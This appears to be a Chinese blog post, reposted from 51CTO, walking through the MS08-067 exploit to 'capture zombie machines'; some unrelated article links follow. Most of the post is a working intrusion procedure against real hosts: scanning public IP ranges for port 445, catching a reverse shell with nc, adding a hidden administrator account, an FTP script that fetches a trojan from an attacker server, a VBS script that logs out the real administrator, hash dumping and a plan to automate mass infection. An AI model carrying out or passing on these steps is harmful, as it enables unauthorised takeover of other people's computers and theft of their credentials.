利用MS08067远程溢出漏洞抓肉鸡

简介:

利用MS08067远程溢出漏洞抓肉鸡

陈小兵 antian365.com
   微软的正版验证机会出来以后没有多久,就爆出针对台湾和简体中文版本的MS08067漏洞,这个时候微软主动爆出这个号称比冲击波还要厉害的漏洞,是否针对我国,很多人都在怀疑,万事讲究证据,没有证据,也只能猜测!不过武器在别人手中,想怎么玩你,就怎么玩你!很多专家也对微软提供的更新中是否保护木马,诸如下载者等等表示怀疑和关注!网上也有说的微软是中国最大的黑客,就笔者个人经验来说,现在的Linux操作系统完全能够胜任常用的办公功能。闲话少说,俺给大家带来最新的MS08067远程溢出漏洞实战分析。
(一)MS08067漏洞描述
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。  Microsoft Windows 2000Windows XP  Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
MS08-067比冲击波还要厉害,通过本人的实际测试,扫描一个网段,至少数百台存在该漏洞的计算机,只要是中文版本的操作系统,Vista除外,毫无幸免!
(二)MS08067远程漏洞实际利用
1.扫描445端口
关于MS08067漏洞目前还没有特别全面的分析报告,据相关资料称,只要扫描到开放139445端口,就有可能利用该漏洞来实施远程溢出。因此首先我们使用工具软件扫描445端口,扫描的工具很多,我给大家介绍两种在DOS下面扫描的工具,一个是sfind.exe另外一个是s.exe,前者命令为“sfind –p 445 ip地址1 ip地址 2 ,例如扫描“sfind –p 445 218.99.0.1 218.99. 0.255 ;另外一个的使用的推荐命令格式为“s tcp 218.99.0.1 218.99.255.255 445 512 /save”,两个小软件扫描完成后自动保存结果,可以在肉鸡后台上进行工作,扫描完成后上去看结果即可。我采用sfind.exe对附近计算机进行445端口扫描,如图1所示,一共出来7台计算机,如果是大范围扫描,推荐使用后一种扫描软件,扫描速度快。
使用sfind扫描445端口
说明:
1)由于扫描出来的结果比较少,所以直接看就可以了。如果结果比较多,可以到sfind扫描目录下直接打开sfind.txt扫描结果。
2.使用MS08067溢出工具对结果进行溢出尝试
将获取的代码在VC中进行编译,将生成的程序重新命名为“MS0867”,然后打开DOS操作界面,并将MS08067.exe程序复制到当前操作目录(今天有人问我,为什么直接双击MS08067.exe程序,无任何反应,唉,晕!),直接输入程序名称,即可出现具体的使用方式,MS08067漏洞的使用方法为“MS08067 IP地址”,IP地址为存在该漏洞的服务器或者个人计算机的IP地址。输入存在可能存在该漏洞的IP地址218.*.*.*,结果显示为“SMB Connect OK! Maybe Patched!”如图2所示。
对存在漏洞的服务器进行溢出
注意:
1)在溢出过程还有多种提示例如“Make SMB Connection error: 64
2)出现“Maybe Patched!”提示的计算机也可能溢出成功。
3)仅仅对台湾和简体中文版本有效,对其他版本的服务器及时存在445漏洞也无法溢出,原因是操作系统溢出点内存地址不同。
3.监听“ 4444 端口
在执行扫描的计算机上使用nc监听4444端口,具体命令为“nc –vv ip地址  4444 ,例如“nc –vv 218.69.*.2  4444 ,一次不成功的溢出显示结果为“nc -vv 218.22.27.71 4444
Warning: forward host lookup failed for 71.27.22.218.broad.static.hf.ah.cndata.com: h_errno 11002: TRY_AGAIN71.27.22.218.broad.static.hf.ah.cndata.com [218.22.27.71] 4444 (?): TIMEDOUT sent 0, rcvd 0: NOTSOCK”,这说明218.22.27.71可能已经安装补丁、防火墙禁止对外进行连接等情况,导致溢出不成功。
说明:
MS08067中可以定制监听端口,不过那个端口需要在源程序中定制。
4.继续进行溢出
换另外一个IP地址执行溢出,重新监听该IP地址,如图3所示,出来我们比较熟悉的反弹Shell串口,终于看到了希望,我在本地虚拟机上执行了多次测试,都未成功,但在实际环境中却测试成功。
溢出成功
5.查看服务器信息
对溢出的计算机先要看看其配置等信息,例如查看操作系统版本、系统配置情况等,然后决定是否对其进行控制等后续操作,如果仅仅是普通个人计算机,而且配置极差,控制住的意义都不大。在这里使用“type c:\boot.ini”查看操作系统类型,如图4所示,该服务器为Windows 2003企业版服务器,显然有进一步控制的必要了。
查看服务器版本等信息
6.添加管理员账号
既然是服务器那就先添加一个管理员帐号吧,如图5所示使用“net user king$ nohacker /add”、“net localgroup administrators king$ /add”以及“net localgroup administrators”命令添加“king$”用户,密码为“nohacker”,并查看是否将“king$”用户加入到管理员组中。
添加一个用户到管理员组中
7.上传文件
关于上传文件有多种方法,个人推荐ftp脚本法,即在某一个站点或者自己假设一个临时Ftp服务器,然后使用以下样本下载ma.exe:
echo open 218.*.*.* >b
echo ftp>>b
echo ftp>>b
echo bin>>b
echo get ma.exe>>b
echo bye>>b
ftp -s:b
del  b
将以上脚本在反弹的shell中直接粘贴即可从Ftp服务器上下载,然后可以在反弹的Shell中执行下载的文件。在本次渗透过程中,由于是相邻IP,因此使用了一个简便的方法,即单击“开始”-“运行”,在其中输入“\\IP\admin$”或者“\\IP\C$”并确定,如图6所示,如图能够连接,则会出现一个输入网络密码的提示框,在用户和密码中分别输入刚才添加的用户名。
6打开网络连接
如果验证正确,则可以像使用资源管理器一样使用被溢出计算机所建立的磁盘连接,如图7所示,顺利打开该服务器上的C盘,然后将木马、获取系统密码、查看系统信息等工具软件直接复制过去即可。
7打开被溢出服务器系统盘
8.获取系统详细信息以及执行各种命令
使用MS08067溢出工具成功溢出服务器后,还可以使用“telnet IP地址  4444 连接被溢出服务器,如图8所示,偶使用telnet进行了尝试,获取系统信息并开放了3389端口。
使用telnet连接被溢出计算机
说明:
1)使用telnet连接被溢出计算机不如反弹shell好用,在telnet中有可能看不到输入,或者输入后反应较为迟钝。
2)开放3389的方式有很多,网上有很多资料,这里使用别人给的一个工具,直接执行即可。
3)可以使用以下脚本来查看对方服务器3389端口:
Echo Dim ReadComputerName >>port.vbs
Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs
Echo Dim TSName,TSRegPath >>port.vbs
Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>port.vbs
Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs
Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs
Cscript port.vbs
9.登录被溢出服务器
打开mstsc远程终端连接器,输入IP地址、刚才添加的用户名和密码,验证成功后,顺利进入服务器,如图9所示。
顺利进入被溢出服务器
10.加固服务器
打江山容易,守江山难,一旦成功攻克服务器后,先对计算机的安全状况和安全措施进行查看和了解。根据个人经验先进行简单加固,如图10所示,就地取材,看看系统有什么杀毒软件,有无360卫士等,对系统的补丁进行修复,删除其它木马程序等。在本案例中,利用瑞星的漏洞扫描程序对系统的漏洞进行扫描,然后进行修复。
10 扫描系统漏洞并修复
注意:
1)如果系统安装有瑞星等杀毒软件,使用getpw获取系统帐号会失败的,这个时候就想办法开放服务器的远程终端,登录系统后,禁用杀毒软件,然后使用getpw获取系统的Hash密码。Getpw获取密码的格式为“getpw $local”,获取Hash密码一定要在shell中,否则获取的Hash密码为空,将获取的值复制到Txt文件中,并去除内容中的空格,正确的格式如图11所示。
11 获取的密码Hash
2)如果被溢出服务器已经开放3389,则登录后要注意管理员是否在线,以前网上有过批处理脚本,当管理员登录后,脚本会自动注销当前登录用户,感谢俺的好友“孤水绕城”提高了这样一个脚本,即:
on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo "use:// cscript.exe FS.vbs port"
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject("WScript.Shell")
Set oExec = oShell.Exec("netstat -an")
Set oRegExp = new RegExp
oRegExp.Pattern = "TCP[\s]+[\d\.]+:"&Tport&"[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED"
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run "logoff"
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
Wend
11.破解Hash
这个俺就不多说了。直接使用LC5导入即可,要是还不会的,请关注本团队的一系列研究结果。破解Hash值的好处就是以后使用管理员的帐号和密码进行登录,当然还可以以防万一!
12.继续溢出和推广使用方法
测试成功后,呵呵继续对扫描出来的结果进行了溢出,毫无疑问,Windows XPWindow 2000 ServerWindows 2000 Professional以及Windows2003 Server均可成功溢出,如图12所示,溢出一台Windows 2000 Server。呵呵,好东西就应该跟大家分享,俺溢出成功后,就跟俺的好友们共享这个成功的溢出过程。
12 继续溢出其它类型服务器
(三)防范措施
1.安装360卫士和升级系统补丁
首先就是升级系统补丁,推荐使用360卫士,使用其扫描即可,发现问题纠正问题即可。还有就是要及时升级360卫生的版本,在实际溢出过程中,我发现很多服务器上都安装了杀毒软件以及360卫士,但是其版本太低,未及时更新补丁程序,失去了应有的防范能力。
2.安装防火墙
在本次溢出过程中,我们还发现存在防火墙的情况下,成功溢出的几率几乎为0,因此推荐在系统中安装防火墙,对内外网防范都有效。
(四)总结与体会
本次测试几乎是在要放弃的情况下,偶是先进行了MS08067漏洞的本地测试,一个都没有成功,都想放弃了,后面打算放到实际环境中进行测试,未想一炮打响,再后来有一些改进的思路,偶做了录像,具体可以看录像,本人觉得可以将其修改跟1433自动抓肉鸡那个工具一样,自动扫描,自动溢出,自动执行下载程序,安全总在思维的突破!


 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/116408

相关文章
|
安全 物联网 网络安全
花无涯带你走进黑客世界9远控肉鸡(番外篇)
远程控制技术是黑客必学的技术之一,一台“肉鸡”的自述! 文章没有重复!!!,这是第九章的番外篇,“肉鸡”的自述!
358 0
|
Linux Shell 网络安全
【Shell 命令集合 网络通讯 】Linux 与SMB服务器进行交互 smbclient命令 使用指南
【Shell 命令集合 网络通讯 】Linux 与SMB服务器进行交互 smbclient命令 使用指南
795 1
|
大数据 Linux
CentOS自动同步互联网服务器时间
CentOS自动同步互联网服务器时间
4634 0
CentOS自动同步互联网服务器时间
|
6月前
|
编解码 Ubuntu Linux
ubuntu系统安装指南:免费且适合老旧电脑,4GB内存也能流畅运行!
点击启动台,找到并点击设置。在设置中,选择语言和区域,再点击管理语言。安装所需的语言包,输入密码进行确认。等待大约2分钟,语言包安装完成后,点击安装语言,选择中文选项。这里有简体和繁体两种选择,根据个人需求进行选择。再次等待2分钟,安装完成后,点击这里,选择中文并应用。然后,将出现的中文拖动到最上面,应用更改并退出设置。最后,重启虚拟机,再次进入系统时,你会发现界面已经变成了中文,而且系统依然保持流畅。Ubuntu系统不仅外观漂亮、干净,而且性能稳定、安全可靠。如果你的电脑内存只有4GB,或者你对Windows系统感到厌倦,那么Ubuntu绝对是一个值得尝试的选择。它不仅办公打印一应俱全,还拥
|
机器学习/深度学习 人工智能 PyTorch
阿里云GPU云服务器怎么样?产品优势、应用场景介绍与最新活动价格参考
阿里云GPU云服务器怎么样?阿里云GPU结合了GPU计算力与CPU计算力,主要应用于于深度学习、科学计算、图形可视化、视频处理多种应用场景,本文为您详细介绍阿里云GPU云服务器产品优势、应用场景以及最新活动价格。
阿里云GPU云服务器怎么样?产品优势、应用场景介绍与最新活动价格参考
|
12月前
|
机器学习/深度学习 存储 弹性计算
阿里云gpu云服务器租用价格:最新收费标准及活动价格参考
阿里云gpu云服务器多少钱?A10卡GN7i GPU云服务器32核188G3213.99/1个月起,V100卡GN6v GPU云服务器8核32G3830.00/1个月起,阿里云GPU云服务器是基于GPU应用的计算服务,多适用于视频解码,图形渲染,深度学习,科学计算等应用场景,该产品具有超强计算能力、网络性能出色、购买方式灵活、高性能实例存储( GA1和GN5特有)等特点。下面小编来介绍下阿里云gpu云服务器最新的收费标准及活动价格。
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程
|
存储 负载均衡 数据中心
聚合网卡和Wondershaper限速的一些问题(速度减半问题)
聚合网卡,又称为链路聚合组(LAG, Link Aggregation Group)、端口汇聚(Port Trunking)、以太通道(Ethernet Bonding)等,是一种网络技术,通过将两个或多个物理以太网接口(网卡)逻辑上捆绑在一起,形成一个单一的虚拟接口。这种技术不仅提升了网络连接的可用性和带宽,同时也增强了网络的稳定性和可靠性。以下是聚合网卡的一些关键概念、工作原理以及其优势:
452 2
|
SQL 关系型数据库 分布式数据库
【PolarDB开源】PolarDB Proxy配置与优化:提升数据库访问效率
【5月更文挑战第27天】PolarDB Proxy是阿里云PolarDB的高性能数据库代理,负责SQL请求转发和负载均衡。其关键配置包括:连接池管理(如最大连接数、空闲超时时间),负载均衡策略(轮询、权重轮询、一致性哈希),以及SQL过滤规则。优化方面,关注监控与调优、缓存策略、网络优化。通过这些措施,可提升数据库访问效率和系统稳定性。
494 1
|
安全 Shell Windows
Metasploit -- CVE-2019-0708漏洞检测及利用
Metasploit -- CVE-2019-0708漏洞检测及利用
551 0